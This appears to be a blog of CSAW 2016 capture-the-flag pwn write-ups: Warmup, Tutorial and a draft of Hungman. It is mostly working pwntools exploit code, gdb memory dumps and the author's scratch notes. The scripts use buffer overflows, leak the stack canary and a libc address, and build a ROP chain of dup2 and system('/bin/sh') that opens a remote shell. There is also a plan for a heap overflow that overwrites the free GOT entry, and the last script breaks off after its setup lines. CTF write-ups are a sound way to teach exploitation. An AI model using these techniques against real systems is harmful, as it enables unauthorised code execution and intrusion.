Monday 19 September 2016

CSAW 2016 Warmup pwn 50

#!/usr/bin/python
from pwn import *
with open('payload', 'w') as f:
 f.write('')

# usefull little stub for writing payload to file as you hack
def send(conn, line):
 print line
 conn.sendline(line)

 with open('payload', 'a') as f:
  line += '\x0a' # fuck you :)
  f.write(line)

conn = remote("pwn.chal.csaw.io",8000)


print conn.recvuntil("WOW:")
addr = conn.recvuntil("\n")



send(conn,"AAAA"*18 + p64(0x40060d))
conn.interactive()

Sunday 18 September 2016

CSAW 2016 Tutorial pwn 200 (Draft)

thinking.txt


FIrst neeed to make a local user called tutorial with home dir


run binary and connect on localhost

what is getpwnam?

-Tutorial-
1.Manual
2.Practice
3.Quit
>1
Reference:0x7ffff7898490
-Tutorial-
1.Manual
2.Practice
3.Quit
>2

buffer overflow in  2.Practice


gdb-peda$ x/100wx 0x7fffffffe0e0
0x7fffffffe0e0: 0x41414141 0x0000000a 0x00000000 0x00000000
0x7fffffffe0f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe100: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe110: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe120: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe130: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe140: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe150: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe160: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe170: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe180: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe190: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe1a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe1b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe1c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe1d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe1e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe1f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe200: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe210: 0x00000000 0x00000000 0xa9acfd00 0x4042b240 <cookie
0x7fffffffe220: 0xffffe250 0x00007fff 0x00401053 0x00000000 <read up to first chunk
0x7fffffffe230: 0x00000003 0x00000000 0x00401401 0x00000004
0x7fffffffe240: 0xf7fd0a32 0x00007fff 0xf7bd4e00 0x00007fff
0x7fffffffe250: 0xffffe2c0 0x00007fff 0x00401257 0x00000000
0x7fffffffe260: 0xffffe3a8 0x00007fff 0xf7ff79b0 0x00000002
gdb-peda$ i f
Stack level 0, frame at 0x7fffffffe230:
 rip = 0x400f70 in func2; saved rip = 0x401053
 called by frame at 0x7fffffffe260
 Arglist at 0x7fffffffe220, args: 
 Locals at 0x7fffffffe220, Previous frame's sp is 0x7fffffffe230
 Saved registers:
  rbp at 0x7fffffffe220, rip at 0x7fffffffe228


gdb-peda$ distance 0x7fffffffe0e0 0x7fffffffe228
From 0x7fffffffe0e0 to 0x7fffffffe228: 328 bytes, 82 dwords



328 A's then eip


stack cookies!

This is what 'reference' is
  v1 = dlsym((void *)0xFFFFFFFF, "puts");
  write(a1, "Reference:", 0xAuLL);
  sprintf(&s, "%p\n", (char *)v1 - 1280);
  write(a1, &s, 0xFuLL);

 address of puts?
 ok then

write(a1, ">", 1uLL);
  read(a1, &s, 460uLL);
  write(a1, &s, 324uLL);

/lib/x86_64-linux-gnu/libc-2.19.so

 it reads out the stack cookie to me! yay

0x7fffffffe200: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe210: 0x00000000 0x00000000 0xa9acfd00 0x4042b240 <cookie
0x7fffffffe220: 0xffffe250 0x00007fff 0x00401053 0x00000000 <read up to first chunk
0x7fffffffe230: 0x00000003 0x00000000 0x00401401 0x00000004


so send 312 many 'A's that will put it just up against the stack 
cookie
then I will read it
then I will do it again but sub the cookie in + eip





0x7fffffffe000: 0xffffffff 0xffffffff 0x00000000 0x00000000
0x7fffffffe010: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe020: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe030: 0x00000000 0x00000000 0xf7ddb0f0 0x00007fff
0x7fffffffe040: 0xf7dd0000 0x00007fff 0x00000000 0x00000000
0x7fffffffe050: 0x00000000 0x00000000 0xf7ffe500 0x00007fff
0x7fffffffe060: 0xffffffff 0xffffffff 0x00000000 0x00000000
0x7fffffffe070: 0xa5b50f0b 0x00000000 0x0040066c 0x00000000
0x7fffffffe080: 0xffffffff 0x00000000 0x00000000 0x00000000
0x7fffffffe090: 0xf7831b38 0x00007fff 0xf7bd1760 0x00007fff
0x7fffffffe0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe0c0: 0xffffe220 0x00007fff 0x00400f54 0x00000000
0x7fffffffe0d0: 0xffffe3a0 0x00007fff 0xf787deb7 0x00000004
0x7fffffffe0e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe0f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe100: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe110: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe120: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe130: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe140: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe150: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe160: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe170: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe180: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ 
0x7fffffffe190: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe1a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe1b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe1c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe1d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe1e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe1f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe200: 0x00000000 0x00000000 0x00000000 0x41414141
0x7fffffffe210: 0x41414141 0x0a3a3a3a 0x64605000 0xdc70460a
0x7fffffffe220: 0xffffe250 0x00007fff 0x00401053 0x00000000
0x7fffffffe230: 0x00000000 0x00000000 0x00401401 0x00000004
0x7fffffffe240: 0xffff0a32 0x00007fff 0xf7bd4e00 0x00007fff
0x7fffffffe250: 0xffffe2c0 0x00007fff 0x00401257 0x00000000
0x7fffffffe260: 0xffffe3a8 0x00007fff 0xf7ff79b0 0x00000002
0x7fffffffe270: 0xf7ffe1a8 0x00000000 0x00000000 0x00000010
0x7fffffffe280: 0x00000003 0x00000004 0x00000000 0x00000000
0x7fffffffe290: 0xd3040002 0x00000000 0x00000000 0x00000000
0x7fffffffe2a0: 0xec9a0002 0x0100007f 0x00000000 0x00000000
0x7fffffffe2b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe2c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe2d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe2e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe2f0: 0x00000000 0x00000000 0x4e19b21d 0x2f80f992
0x7fffffffe300: 0x00400c90 0x00000000 0xffffe3a0 0x00007fff
0x7fffffffe310: 0x00000000 0x00000000 0x00000000 0x00000000



after 

gdb-peda$ x/100wx 0x7fffffffe000
0x7fffffffe000: 0xffffffff 0xffffffff 0x00000000 0x00000000
0x7fffffffe010: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe020: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe030: 0x00000000 0x00000000 0xf7ddb0f0 0x00007fff
0x7fffffffe040: 0xf7dd0000 0x00007fff 0x00000000 0x00000000
0x7fffffffe050: 0x00000000 0x00000000 0xf7ffe500 0x00007fff
0x7fffffffe060: 0xffffffff 0xffffffff 0x00000000 0x00000000
0x7fffffffe070: 0xa5b50f0b 0x00000000 0x0040066c 0x00000000
0x7fffffffe080: 0xffffffff 0x00000000 0x00000000 0x00000000
0x7fffffffe090: 0xf7831b38 0x00007fff 0xf7bd1760 0x00007fff
0x7fffffffe0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe0c0: 0xffffe220 0x00007fff 0x00400f70 0x00000000
0x7fffffffe0d0: 0xffffe3a0 0x00007fff 0xf787deb7 0x00000004
0x7fffffffe0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe0f0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe100: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe110: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe120: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe130: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe140: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe150: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe160: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe170: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe180: 0x41414141 0x41414141 0x41414141 0x41414141
gdb-peda$ 
0x7fffffffe190: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1f0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe200: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe210: 0x41414141 0x3a3a3a3a 0x64605000 0xdc70460a
0x7fffffffe220: 0xffffe250 0x00007fff 0xf7898990 0x00007fff
0x7fffffffe230: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff
0x7fffffffe240: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff
0x7fffffffe250: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff
0x7fffffffe260: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff
0x7fffffffe270: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff
0x7fffffffe280: 0x0000000a 0x00000004 0x00000000 0x00000000
0x7fffffffe290: 0xd3040002 0x00000000 0x00000000 0x00000000
0x7fffffffe2a0: 0xec9a0002 0x0100007f 0x00000000 0x00000000
0x7fffffffe2b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe2c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe2d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe2e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe2f0: 0x00000000 0x00000000 0x4e19b21d 0x2f80f992
0x7fffffffe300: 0x00400c90 0x00000000 0xffffe3a0 0x00007fff
0x7fffffffe310: 0x00000000 0x00000000 0x00000000 0x00000000



on ret

gdb-peda$ x/100wx 0x7fffffffe000
0x7fffffffe000: 0xffffffff 0xffffffff 0x00000000 0x00000000
0x7fffffffe010: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe020: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe030: 0x00000000 0x00000000 0xf7ddb0f0 0x00007fff
0x7fffffffe040: 0xf7dd0000 0x00007fff 0x00000000 0x00000000
0x7fffffffe050: 0x00000000 0x00000000 0xf7ffe500 0x00007fff
0x7fffffffe060: 0xffffffff 0xffffffff 0x00000000 0x00000000
0x7fffffffe070: 0xa5b50f0b 0x00000000 0x0040066c 0x00000000
0x7fffffffe080: 0xffffffff 0x00000000 0x00000000 0x00000000
0x7fffffffe090: 0xf7831b38 0x00007fff 0xf7bd1760 0x00007fff
0x7fffffffe0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe0c0: 0xffffe220 0x00007fff 0x00400f8c 0x00000000
0x7fffffffe0d0: 0xffffe3a0 0x00007fff 0xf787deb7 0x00000004
0x7fffffffe0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe0f0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe100: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe110: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe120: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe130: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe140: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe150: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe160: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe170: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe180: 0x41414141 0x41414141 0x41414141 0x41414141
gdb-peda$ 
0x7fffffffe190: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1f0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe200: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe210: 0x41414141 0x3a3a3a3a 0x64605000 0xdc70460a
0x7fffffffe220: 0xffffe250 0x00007fff 0xf7898990 0x00007fff
0x7fffffffe230: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff
0x7fffffffe240: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff
0x7fffffffe250: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff
0x7fffffffe260: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff
0x7fffffffe270: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff
0x7fffffffe280: 0x0000000a 0x00000004 0x00000000 0x00000000
0x7fffffffe290: 0xd3040002 0x00000000 0x00000000 0x00000000
0x7fffffffe2a0: 0xec9a0002 0x0100007f 0x00000000 0x00000000
0x7fffffffe2b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe2c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe2d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe2e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe2f0: 0x00000000 0x00000000 0x4e19b21d 0x2f80f992
0x7fffffffe300: 0x00400c90 0x00000000 0xffffe3a0 0x00007fff
0x7fffffffe310: 0x00000000 0x00000000 0x00000000 0x00000000




So what was happening was that puts was pushing rbx onto the stack and 
calling strcpy which then segfaulted
I figgure I need to put &/bin/sh into ebx


# 0x004012e1 : (5e415fc3) pop rsi; pop r15; ret
# 0x00400d49 : (01f3c3) add ebx,esi; ret

this will accomplish this



nope nope nope

lets go strait to system
so we need to set 

# rdi rsi 
to call system

put addr of /bin/sh in rdi call system

tried that
pops shell locally ... on the server side

need to dup dup dup

dup = 0x7ffff7909460 - 0x7ffff7898490 + int(ref,16)

use same leak trick
hope it works XD


rdi already has the file descriptor 
so that's helpfull
:)

dup2(old,new)

need to 
dup2(fd,0)
dup2(fd,1)
dup2(fd,2)

k so I can pop a shell locally




fuk I'm like so close

I need to find /bin/sh on the box

puts 0x7f620ea3a990
binsh 0x7f620eb329a0

puts - binsh = 
0xf8010

in the lib c 
puts 0x06b990
binsh_l 0x01639a0


#!/usr/bin/python

import sys
from pwn import *
with open('payload', 'w') as f:
 f.write('')

def send(conn, line):
 print line
 conn.sendline(line)

 with open('payload', 'a') as f:
  line += '\x0a' # fuck you :)
  f.write(line)

# conn = remote("pwn.chal.csaw.io",8002)
conn = remote("localhost", int(sys.argv[1]))
print conn.recvuntil(">")
send(conn, "1")
print conn.recvuntil("Reference:")
ref = conn.recvuntil("\n")
print ref
print conn.recvuntil(">")
send(conn, "2")
# raw_input("continue?")
send(conn, "A"*(312-4)+":::")
print conn.recvuntil(":::")
cookie = conn.recvuntil("-Tutorial-")[:-len("-Tutorial-")].lstrip()[:-4]

print cookie
print cookie.encode('hex')
print hex(u64(cookie))

print conn.recvuntil(">")

#0x400eef: dec ecx; ret
misc_rop = p64(0x400eef)

# [heap] : 0x603035 --> 0x68732f6e69622f ('/bin/sh')
#   libc : 0x7ffff79909a0 --> 0x68732f6e69622f ('/bin/sh')


# 0x7ffff7898490 ref
puts_libc = int(ref,16)+1280
puts = p64(puts_libc)

# b = 0x7ffff79909a0 - 0x7ffff7898490 + int(ref,16)
# addr_binsh = p64(b)

# dup2 = p64(0x7ffff7909490 - 0x7ffff7898490 + int(ref,16))
# system = p64(0x7ffff786e490- 0x7ffff7898490 + int(ref,16))

# puts 000000000006fd60
# system 0000000000046590
# dup2 00000000000ebe90

sysMputs = 0x46590 - 0x6fd60
dupMputs = 0xebe90 - 0x6fd60

system = p64(puts_libc + sysMputs)
dup2 = p64(puts_libc + dupMputs)



addr_binsh = p64(0x603035)
ebp = p64(0x00007fffffffe250)


# # null
# null = p64(0x400007)

# 0x004012e1 : (5e415fc3) pop rsi; pop r15; ret
# 0x00400d49 : (01f3c3) add ebx,esi; ret
rop_pop_rsi_pop = p64(0x004012e1)
rop_add_ebx_esi = p64(0x00400d49)
#0x4012dc: pop r12; pop r13; pop r14; pop r15; ret
#0x4012e3: pop rdi; ret
pop_rdi = p64(0x4012e3)
pops = p64(0x4012dc)
print ref

# rdi rsi 

# rdi is already the fd for socket :) yay
send(conn, "2")
payload = "A"*(312-4)+"::::" + cookie + ebp
# dup2(fd, stdin)
payload += rop_pop_rsi_pop + p64(0) + "A"*8 + dup2
payload += rop_pop_rsi_pop + p64(1) + "A"*8 + dup2
payload += rop_pop_rsi_pop + p64(2) + "A"*8 + dup2
payload += pop_rdi + addr_binsh +  system
send(conn,  payload)
send(conn,  "ls -la")


conn.interactive()


FLAG{3ASY_R0P_R0P_P0P_P0P_YUM_YUM_CHUM_CHUM}

CSAW 2016 Hungman pwn 300 (Draft)


Braindump
0x603000: 0x00000000 0x00000000 0x00000031 0x00000000
0x603010: 0x41414141 0x41414141 0x41414141 0x41414141
0x603020: 0x41414141 0x41414141 0x41414141 0x41414141
0x603030: 0x00000000 0x00000000 0x00000091 0x00000000
0x603040: 0x00000000 0x00000021 0x00603010 0x00000000
0x603050: 0x00000000 0x00000000 0x00000000 0x00000000
0x603060: 0x00000000 0x00000000 0x00000000 0x00000000
0x603070: 0x00000000 0x00000000 0x00000000 0x00000000
0x603080: 0x00000000 0x00000000 0x00000000 0x00000000
0x603090: 0x00000000 0x00000000 0x00000000 0x00000000
0x6030a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x6030b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x6030c0: 0x00000000 0x00000000 0x00000031 0x00000000
0x6030d0: 0x68697970 0x67786566 0x22a5a375 0x4dd7ace5
0x6030e0: 0xc52aad30 0xc29e10c0 0x5a6280c6 0x7e17919e
0x6030f0: 0x000000fc 0x00000000 0x00020f11 0x00000000
0x603100: 0x00000000 0x00000000 0x00000000 0x00000000
0x603110: 0x00000000 0x00000000 0x00000000 0x00000000
0x603120: 0x00000000 0x00000000 0x00000000 0x00000000
0x603130: 0x00000000 0x00000000 0x00000000 0x00000000
0x603140: 0x00000000 0x00000000 0x00000000 0x00000000
0x603150: 0x00000000 0x00000000 0x00000000 0x00000000
0x603160: 0x00000000 0x00000000 0x00000000 0x00000000
0x603170: 0x00000000 0x00000000 0x00000000 0x00000000
0x603180: 0x00000000 0x00000000 0x00000000 0x00000000
0x603190: 0x00000000 0x00000000 0x00000000 0x00000000
0x6031a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x6031b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x6031c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x6031d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x6031e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x6031f0: 0x00000000 0x00000000 0x00000000 0x00000000

0x00000031 == ??

k so it's a heap overflow


struct
map of correct stuff

I can overflow 




K so the game plan is to overflow our pointer to got free
then we read our name gettign the address of free in libc
then we write system to free

don't forget to make the start of our name /bin/sh;



gdb-peda$ x/128wx 0x1fea000
0x1fea000: 0x00000000 0x00000000 0x00000031 0x00000000
0x1fea010: 0x42424242 0x42424242 0x42424242 0x42424242
0x1fea020: 0x42424242 0x42424242 0x42424242 0x42424242
0x1fea030: 0x00000000 0x00000000 0x00000091 0x00000000
0x1fea040: 0x00000058 0x00000020 0x01fea010 0x00000000
   score ^     nameptr ^


change name to "B"*32 + "BBBB"*4 + "\x00"*4 + "\x20\x00\x00\x00" + <addr_free>


0000000000602018 R_X86_64_JUMP_SLOT  free <--- woo
0000000000602020 R_X86_64_JUMP_SLOT  puts
0000000000602028 R_X86_64_JUMP_SLOT  write
0000000000602030 R_X86_64_JUMP_SLOT  __stack_chk_fail
0000000000602038 R_X86_64_JUMP_SLOT  strchr
0000000000602040 R_X86_64_JUMP_SLOT  printf
0000000000602048 R_X86_64_JUMP_SLOT  snprintf
0000000000602050 R_X86_64_JUMP_SLOT  memset
0000000000602058 R_X86_64_JUMP_SLOT  close
0000000000602060 R_X86_64_JUMP_SLOT  read
0000000000602068 R_X86_64_JUMP_SLOT  __libc_start_main
0000000000602070 R_X86_64_JUMP_SLOT  __gmon_start__
0000000000602078 R_X86_64_JUMP_SLOT  memcpy
0000000000602080 R_X86_64_JUMP_SLOT  malloc
0000000000602088 R_X86_64_JUMP_SLOT  setvbuf
0000000000602090 R_X86_64_JUMP_SLOT  open
0000000000602098 R_X86_64_JUMP_SLOT  __isoc99_scanf
00000000006020a0 R_X86_64_JUMP_SLOT  exit



play_game("B"*32 + "BBBB"*4 + "\x00"*4 + "\x20\x00\x00\x00" + p64(free_got))

0x1995000: 0x00000000 0x00000000 0x00000031 0x00000000
0x1995010: 0x42424242 0x42424242 0x42424242 0x42424242
0x1995020: 0x42424242 0x42424242 0x42424242 0x42424242
0x1995030: 0x42424242 0x42424242 0x42424242 0x42424242
0x1995040: 0x00000000 0x00000020 0x00602018 0x00000000

print hungman.recvuntil('?').encode('hex') # Highest player; cont?

prints name

normal
4869676865737420706c617965723a20
424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242
2073636f72653a20300a436f6e74696e75653f

with free
4869676865737420706c617965723a20
2073636f72653a20300a436f6e74696e75653f


print free
$1 = {void (void *)} 0x7f121e43b950 <free>
0x602018 <free@got.plt>: 0x00007f121e0f7600

free has a god damn null at the start

lolx

this is ok 
either it's not there and i'm fine
or I know it's there are I know that so it's ok

play_game("B"*32 + "BBBB"*4 + "\x00"*4 + "\x20\x00\x00\x00" + p64(free_got +1)) # free has a null at the start


k so now it prints 
4869676865737420706c617965723a20
c6234ced7f
2073636f72653a20300a436f6e74696e75653f


index = resp.index("Highest player: ") + len("Highest player: ")
addr = u64('\x00' + resp[index:index +5] + '\x00\x00')

yep that gets the libc addr of free

well....
free -  what I get
>>> 0x7f5c6645a950 - 0x7f5c66116600
3425104

maybe it's the same?

>>> 0x7f69584fa950 - 0x7f69581b6600
3425104

yep

$2 = {<text variable, no debug info>} 0x7f695817b490 <__libc_system>





000000000007c600 <__libc_free>:
000000000001f470 <free@plt>:

0000000000041490 <__libc_system>:



__GI___libc_free 0x7f69581b6600
free@plt 0x00007f6958159470
$5 = {void (void *)} 0x7f69584fa950 <free>


the distance from 
000000000007c600 <__libc_free>:
to
0000000000041490 <__libc_system>:

will be the same after aslr
free_libc_live = hacks...

system_libc_live = free_libc_live + (system_libc - free_libc)



I can't really test this locally anymore because my free has
a null and I did that +1 trick

so I can't write system

wait lolz I can
becasue the null is always there

I know that the same will happen for system

000000000007c600 <__libc_free>:
0000000000041490 <__libc_system>:

except system has a 90

no I'm is the retard can't do that


anyway
locally I can just prompt myself to enter the address of free


k so next problem
I was hoping to write system to free
and then when that string gets freed

I'd do 
write <addr_system>;/bin/sh to free got

then

free(<addr_system>;/bin/sh)
but the nulls in the address fuck that over


so I'm now aiming for buf 

0x13fd000: 0x00000000 0x00000000 0x00000031 0x00000000
0x13fd010: 0x42424242 0x42424242 0x42424242 0x42424242
0x13fd020: 0x42424242 0x42424242 0x42424242 0x42424242
0x13fd030: 0x42424242 0x42424242 0x42424242 0x42424242
0x13fd040: 0x000000f8 0x00000022 0x00602018 0x00000000
0x13fd050: 0x01010001 0x00010101 0x01010101 0x00000001
0x13fd060: 0x00000000 0x00000000 0x00000000 0x00000000
0x13fd070: 0x00000000 0x00000000 0x00000000 0x00000000
0x13fd080: 0x00000000 0x00000000 0x00000000 0x00000000
0x13fd090: 0x00000000 0x00000000 0x00000000 0x00000000
0x13fd0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x13fd0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x13fd0c0: 0x00000000 0x00000000 0x00000031 0x00000000
0x13fd0d0: 0x6373646a 0x64796a75 0x646c7266 0x616b6370
0x13fd0e0: 0x64676b69 0x74656673 0x706d6574 0xd873736c
0x13fd0f0: 0x00000090 0x00000000 0x00000101 0x00000000
0x13fd100: 0x2b11b490 0x00007f0d 0x69622f3b 0x636e2f6e
0x13fd110: 0x2e323520 0x352e3236 0x39312e32 0x33312036









gdb-peda$ x/100wx 0x1b34000
0x1b34000: 0x00000000 0x00000000 0x00000031 0x00000000
0x1b34010: 0x42424242 0x42424242 0x42424242 0x42424242
0x1b34020: 0x42424242 0x42424242 0x42424242 0x42424242
0x1b34030: 0x42424242 0x42424242 0x42424242 0x42424242
0x1b34040: 0x0000008b 0x000000d0 0x01b34010 0x00000000
0x1b34050: 0x01010101 0x01010001 0x01010001 0x00000001
0x1b34060: 0x00000000 0x00000000 0x00000000 0x00000000
0x1b34070: 0x00000000 0x00000000 0x00000000 0x00000000
0x1b34080: 0x00000000 0x00000000 0x00000000 0x00000000
0x1b34090: 0x00000000 0x00000000 0x00000000 0x00000000
0x1b340a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x1b340b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x1b340c0: 0x00000000 0x00000000 0x00000031 0x00000000
0x1b340d0: 0x76786f61 0x78696362 0x68746771 0x75687565
0x1b340e0: 0x63686377 0x646b6d65 0x77746c6c 0x07637a74
0x1b340f0: 0x000000be 0x00000000 0x00000101 0x00000000
0x1b34100: 0x63636363 0x63636363 0x63636363 0x63636363
0x1b34110: 0x63636363 0x63636363 0x63636363 0x63636363
0x1b34120: 0x42424242 0x42424242 0x42424242 0x42424242
0x1b34130: 0x00000000 0x00000000 0x00602018 0x00000000
0x1b34140: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b34150: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b34160: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b34170: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b34180: 0x01010101 0x01010101 0x01010101 0x01010101



gdb-peda$ x/100wx 0x1b34000
0x1b34000: 0x00000000 0x00000000 0x00000031 0x00000000
0x1b34010: 0x63636363 0x63636363 0x63636363 0x63636363
0x1b34020: 0x63636363 0x63636363 0x63636363 0x63636363
0x1b34030: 0x42424242 0x42424242 0x42424242 0x42424242
0x1b34040: 0x00000000 0x00000000 0x00602018 0x00000000
0x1b34050: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b34060: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b34070: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b34080: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b34090: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b340a0: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b340b0: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b340c0: 0x01010101 0x01010101 0x00000031 0x00000000
0x1b340d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x1b340e0: 0x63686377 0x646b6d65 0x77746c6c 0x07637a74
0x1b340f0: 0x000000be 0x00000000 0x00000101 0x00000000
0x1b34100: 0x63636363 0x63636363 0x63636363 0x63636363
0x1b34110: 0x63636363 0x63636363 0x63636363 0x63636363
0x1b34120: 0x42424242 0x42424242 0x42424242 0x42424242
0x1b34130: 0x00000000 0x00000000 0x00602018 0x00000000
0x1b34140: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b34150: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b34160: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b34170: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b34180: 0x01010101 0x01010101 0x01010101 0x01010101



[*] Switching to interactive mode
sh: 1: \x90$\xa7�: not found
sh: 1: ulmomtaFcccccccccccccccc  : not found


fml

OMG I have called execve('jhaflhjjkldf') too many god damn times!

...

#!/usr/bin/python
import os
import time
from pwn import *
hungman = process("./hungman")
# hungman = remote('pwn.chal.csaw.io',8003)
# raw_input("start?")
